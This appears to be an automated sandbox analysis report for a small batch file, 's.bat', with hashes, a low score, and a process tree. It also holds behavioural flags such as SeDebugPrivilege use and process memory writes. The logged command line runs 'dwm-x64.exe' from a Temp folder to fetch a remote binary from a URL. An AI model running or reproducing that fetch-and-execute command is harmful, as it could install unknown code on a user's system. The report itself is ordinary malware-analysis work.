89deb42ce8627126769e072cfeee490ec71cb980e311bec2664cc58cd33c4b5f

Resubmissions

04-11-2021 15:43

04-11-2021 15:05

Target

s.bat
Size

88B
MD5

d69a52a259d3ed368cb3133745839e8b
SHA1

601a7608e6fc25fee199eed858f97748a308f2ff
SHA256

db4e4564fece5cd02bc4278237b09fe674e91d0f2b73e7f5cfb3a29471f192e7
SHA512

5159241ad07b297e500b83d9874eb001fe149d6819e123d1d32b3364a9f55830539abd98a8256b747054f238c1869560144521a1d6b05970a1e38f63527a9715

Score

3^/10

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

960 3936 WerFault.exe dwm-x64.exe

pid	pid_target	process	target process
960	3936	WerFault.exe	dwm-x64.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

WerFault.exe

description pid process

Token: SeDebugPrivilege 960 WerFault.exe
Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 2768 wrote to memory of 3936 2768 cmd.exe dwm-x64.exe
PID 2768 wrote to memory of 3936 2768 cmd.exe dwm-x64.exe

description	pid	process
Token: SeDebugPrivilege	960	WerFault.exe

description	pid	process	target process
PID 2768 wrote to memory of 3936	2768	cmd.exe	dwm-x64.exe
PID 2768 wrote to memory of 3936	2768	cmd.exe	dwm-x64.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Users\Admin\AppData\Local\Temp\dwm-x64.exe
  C:\Users\Admin\AppData\Local\Temp\dwm-x64.exe https://hatching.dev/n0t/host64_sh.bin -nm
  2⤵
  PID:3936
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3936 -s 1028
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:960

memory/3936-115-0x0000000000000000-mapping.dmp

Download
memory/3936-116-0x000001F89BD20000-0x000001F89BD21000-memory.dmp

Filesize
4KB

Download